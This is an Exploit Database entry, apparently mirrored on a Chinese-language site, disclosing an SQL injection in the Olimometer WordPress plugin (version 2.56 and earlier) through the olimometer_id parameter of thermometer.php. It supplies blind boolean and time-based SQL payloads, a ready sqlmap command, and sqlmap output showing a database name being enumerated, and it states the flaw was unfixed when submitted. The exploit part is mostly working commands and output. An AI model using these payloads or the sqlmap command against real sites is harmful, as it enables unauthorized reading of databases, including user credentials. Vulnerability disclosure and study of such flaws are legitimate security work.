WordPress Plugin Olimometer 2.56 – SQL Injection

• Exploit Database
• 88 阅读

• 作者： TAD GROUP
  日期： 2016-11-21
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/40804/

• # Exploit Title: Olimometer Plugin for WordPress – Sql Injection
  # Date: 14/11/2016
  # Exploit Author: TAD GROUP
  # Vendor Homepage: https://wordpress.org/plugins/olimometer/
  # Software Link: https://wordpress.org/plugins/olimometer/
  # Contact: info[at]tad.group
  # Website: https://tad.group
  # Category: Web Application Exploits
  # Tested on: Debian 8
  
  
  1 - Description
  
  # Vulnerable parameter: olimometer_id=
  
  Parameter: olimometer_id (GET)
   Type: boolean-based blind
   Title: AND boolean-based blind - WHERE or HAVING clause
   Payload: olimometer_id=1 AND 6227=6227
  
   Type: AND/OR time-based blind
   Title: MySQL >= 5.0.12 AND time-based blind
   Payload: olimometer_id=1 AND SLEEP(5)
  
  Using GET SQL Method with the "olimometer_id" parameter, we were able to
  get the database name from the EXAMPLE.COM website . By further running
  SQL Map using different arguments, we would be able to get the complete
  database, including usernames and passwords if there are such.
  
  2. Proof of Concept
  
  Using the website EXAMPLE.COM for example, we can fire up sqlmap and set
  the full path to the vulnerable parameter:
  
  root@kali:~# sqlmap -u
  http://EXAMPLE.COM/wp-content/plugins/olimometer/thermometer.php?olimometer_
  id=1
  --dbs --threads=5 --random-agent --no-cast
  
  ---
  Parameter: olimometer_id (GET)
   Type: boolean-based blind
   Title: AND boolean-based blind - WHERE or HAVING clause
   Payload: olimometer_id=1 AND 6227=6227
  
   Type: AND/OR time-based blind
   Title: MySQL >= 5.0.12 AND time-based blind
   Payload: olimometer_id=1 AND SLEEP(5)
  ---
  [11:14:21] [INFO] the back-end DBMS is MySQL
  web application technology: Nginx
  back-end DBMS: MySQL >= 5.0.12
  [11:14:21] [INFO] fetching database names
  [11:14:21] [INFO] fetching number of databases
  [11:14:21] [INFO] retrieved:
  [11:14:21] [WARNING] multi-threading is considered unsafe in time-based
  data retrieval. Going to switch it off automatically
  [11:14:21] [WARNING] (case) time-based comparison requires larger
  statistical model, please wait.............................. (done)
  [11:14:26] [WARNING] it is very important to not stress the network
  adapter during usage of time-based payloads to prevent potential disruptions
  [11:14:26] [ERROR] unable to retrieve the number of databases
  [11:14:26] [INFO] falling back to current database
  [11:14:26] [INFO] fetching current database
  [11:14:26] [INFO] retrieving the length of query output
  [11:14:26] [INFO] retrieved:
  [11:14:28] [INFO] heuristics detected web page charset 'ascii'
  14
  [11:15:26] [INFO] retrieved: *****_wrdp1
  available databases [1]:
  [*] *****_wrdp1
  
  We can see that we have successfully discovered one available database
  with the name: "*****_wrdp1"
  
  3. Type of vulnerability:
  
  An SQL Injection vulnerability in Olimometer allows attackers to read
  arbitrary data from the database.
  
  4. Exploitation vector:
  
  The url parameter 'olimometer_id=' of the
  /wp-content/plugins/olimometer/thermometer.php?olimometer_id=1 is
  vulnerable to SQLI.
  
  5. Attack outcome:
  
  An attacker can read arbitrary data from the database. If the webserver
  is misconfigured, read & write access the filesystem may be possible.
  
  6. Impact:
  
  Critical
  
  7. Software/Product name:
  
  Olimometer Plugin for WordPress
  
  8. Affected versions:
  
  <= 2.56
  
  9. Fixed in version:
  
  Not fixed at the date of submitting that exploit.
  
  10. Vendor:
  
  oshingler
  
  11. CVE number:
  
  Not existing